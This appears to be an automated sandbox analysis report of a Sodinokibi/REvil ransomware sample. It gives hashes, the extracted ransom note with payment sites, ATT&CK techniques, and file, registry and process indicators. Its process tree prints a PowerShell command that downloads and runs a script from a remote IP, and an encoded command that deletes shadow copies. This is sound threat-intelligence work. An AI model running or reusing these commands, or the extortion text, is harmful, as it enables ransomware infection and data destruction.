sodinokibi | a7804db792288327cecffcd3cf6d6addf7ab9d7c56fac80b588aa76e96e0c383

General

Target

6b344dbcf15e9fffe23ce5307af78070.bat
Size

215B
MD5

edcaf035412a5f6b004822eeba9ec0bc
SHA1

5b65ca011d951eaa8266950415eb13dc55766d40
SHA256

a7804db792288327cecffcd3cf6d6addf7ab9d7c56fac80b588aa76e96e0c383
SHA512

10e58b8f554cca5133ebb0c33800a2de7e063712a791832eaa505379a7897375737f20bad7c7ce0e6ecd1e79e2ab2d5728529fa6a3750f050d56509503474c02

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/6b344dbcf15e9fffe23ce5307af78070

Extracted

Path

C:\7h6tcv2-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 7h6tcv2. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1481311B8AFEB78D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/1481311B8AFEB78D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: IfNpelCDrXAIbk+J4LbbDrOaBiIMgZ46OU8Y3Pi6JFhn8V/04yRX7pfrQXnBzGTl MddNw++CbmULlTxyokjpqD81HzO0nwosboGqAv2WOx1CL/bQO75kMrr9tHJ1MORe JemAwdmacw+wS/+N2oG70TTUX9yhisf9zz2JvhF+pLfNg/WyrAvSugLfDf9vgA6Q ShnBkryv7jxQ/p0cVrXWfyV5SMcG+FS/FIJR7z81RjD4a7G53wd97aQPDODPrp0W wEFuDPTvP0P/L+W0vX1taoy/iqPnRRAclbQQbOsVMKybP9Mo+eXJihSpQM9QyMYe eZQsKxBISYAg15LUK/6Djm7xTelUrBfxPDlQ7HODVQzXNH+jN9ydLNtp6L0sStaV wrStb2IYjGYl7cpbG86xPMkHcUH2zhF5I6oKH+Yr6t1klt5nFeZYXEmGZRGOZEGV UGyDxrQzdhYBW+xoyANE0Fky2/ATCcqtsw5W68nWbbhERPzXejvUeobSqpdrFvfG EbGguLhpSosLcCmypJdyWp8RBEH6nYYCwK517k7dAHe1c1eXpX+3RFltqalqPma+ IqbD7PKORySqFqi8Iuj9XYxJHDyrnWypzXtmY/V/mvN5d94SmqReNSn5/mEA96yb 7d3QQNlBcIL1/ScD7P3VEwZhuiDTB0O5TR/FfoshpJWcGIebgTWFfCH4QgELYBSl ISDMmJnrvVsZ/NOs8LWa1QHEkh2VKFHYRkgIrQ+4ahIdu6DneQgMGTTYHM7/AnDw SetwdgwopV4a7J5hUWEBFZLtV2mu8obholbjvaJUm7A95G0tE35/IBcljmfl8RI2 5uAbCtr2G8w6lxqhhI77h6hVs/bGuJp43GdyOCuXeQ9MRu/S2vp3hKapsUQwrRGT EAFTlt+mkuKBqD/zk5+/58q/berXCp6GgjoaY+ThzbrZKcb9y/hT+PxttAjv8Rw3 7e5jqLtWyWnQefm4xfDiAaDijvz6BJa9rsbiY6FTfaDeozb1ftt22UPyvfKa/uI1 Gx1caiKrrjhwCUY9qCPXV7bBA73cHxYheb8Yd6tLPVXKvwhOpl625SoR9xt359j9 H/lv9n1Y8LS6xUEpXEbPATwXVmIegVvqVPesM3PM5GiaaevtNBqZ+tDG0KLUFwgy jbziUzWzHWcywedd2JB07HdcuAZjGh76p8E2hslYr+zJ/c6NlAfbiXfZwZaLPQOX 8YN/kb4olhe0LbWso99Y3w6ykn83eHD4x2Es0GksSitR09O8kp6jPHEePjQQVCso +eCJbwMZmq61nkVXKnMuhJPd0MR1CZVIh0gpZrKUVVc3VQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1481311B8AFEB78D

http://decryptor.cc/1481311B8AFEB78D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1500 powershell.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

flow	pid	process
3	1500	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\isrmgc0.bmp"	powershell.exe

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\7h6tcv2-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\7h6tcv2-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\AssertRead.ppt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointDismount.rmi	powershell.exe
File opened for modification	\??\c:\program files\ConnectFormat.M2T	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\7h6tcv2-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SendCompress.jpe	powershell.exe
File opened for modification	\??\c:\program files\UnprotectConnect.wdp	powershell.exe
File opened for modification	\??\c:\program files\CloseRegister.TTS	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.xltm	powershell.exe
File opened for modification	\??\c:\program files\FindRegister.AAC	powershell.exe
File opened for modification	\??\c:\program files\RedoHide.xht	powershell.exe
File opened for modification	\??\c:\program files\SplitRemove.sql	powershell.exe
File opened for modification	\??\c:\program files\UseCompress.mpp	powershell.exe
File created	\??\c:\program files\7h6tcv2-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CloseSwitch.mp4v	powershell.exe
File opened for modification	\??\c:\program files\FormatProtect.php	powershell.exe
File opened for modification	\??\c:\program files\InvokeInstall.xla	powershell.exe
File opened for modification	\??\c:\program files\PopInstall.rmi	powershell.exe
File opened for modification	\??\c:\program files\ResetSwitch.xltm	powershell.exe
File opened for modification	\??\c:\program files\ShowPop.vsd	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\7h6tcv2-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisconnectPing.WTV	powershell.exe
File opened for modification	\??\c:\program files\OutConvertTo.aifc	powershell.exe
File opened for modification	\??\c:\program files\RemoveBlock.contact	powershell.exe
File opened for modification	\??\c:\program files\ResetGroup.wma	powershell.exe
File opened for modification	\??\c:\program files\StopAdd.mp3	powershell.exe
File opened for modification	\??\c:\program files\TraceCheckpoint.3gp	powershell.exe
File opened for modification	\??\c:\program files\UndoOptimize.gif	powershell.exe
File opened for modification	\??\c:\program files\AddNew.pub	powershell.exe
File opened for modification	\??\c:\program files\CopyCheckpoint.7z	powershell.exe
File opened for modification	\??\c:\program files\MergeStart.asx	powershell.exe
File opened for modification	\??\c:\program files\SuspendInvoke.asf	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1500 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1500 powershell.exe
1500 powershell.exe
1500 powershell.exe
1820 powershell.exe
1820 powershell.exe

pid	process
1500	powershell.exe

pid	process
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
1820	powershell.exe
1820	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeBackupPrivilege	1576	vssvc.exe
Token: SeRestorePrivilege	1576	vssvc.exe
Token: SeAuditPrivilege	1576	vssvc.exe
Token: SeTakeOwnershipPrivilege	1500	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1412 wrote to memory of 1500	1412	cmd.exe	powershell.exe
PID 1412 wrote to memory of 1500	1412	cmd.exe	powershell.exe
PID 1412 wrote to memory of 1500	1412	cmd.exe	powershell.exe
PID 1412 wrote to memory of 1500	1412	cmd.exe	powershell.exe
PID 1500 wrote to memory of 1820	1500	powershell.exe	powershell.exe
PID 1500 wrote to memory of 1820	1500	powershell.exe	powershell.exe
PID 1500 wrote to memory of 1820	1500	powershell.exe	powershell.exe
PID 1500 wrote to memory of 1820	1500	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\6b344dbcf15e9fffe23ce5307af78070.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6b344dbcf15e9fffe23ce5307af78070');Invoke-LPYNMMII;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1500-5-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1500-21-0x0000000005880000-0x0000000005881000-memory.dmp

Filesize
4KB

Download
memory/1500-22-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1500-14-0x0000000005780000-0x0000000005781000-memory.dmp

Filesize
4KB

Download
memory/1500-13-0x00000000056B0000-0x00000000056B1000-memory.dmp

Filesize
4KB

Download
memory/1500-8-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

Download
memory/1500-0-0x0000000000000000-mapping.dmp

Download
memory/1500-4-0x0000000004760000-0x0000000004761000-memory.dmp

Filesize
4KB

Download
memory/1500-3-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download
memory/1500-2-0x0000000000E20000-0x0000000000E21000-memory.dmp

Filesize
4KB

Download
memory/1500-1-0x00000000747D0000-0x0000000074EBE000-memory.dmp

Filesize
6.9MB

Download
memory/1820-23-0x0000000000000000-mapping.dmp

Download
memory/1820-25-0x00000000747D0000-0x0000000074EBE000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads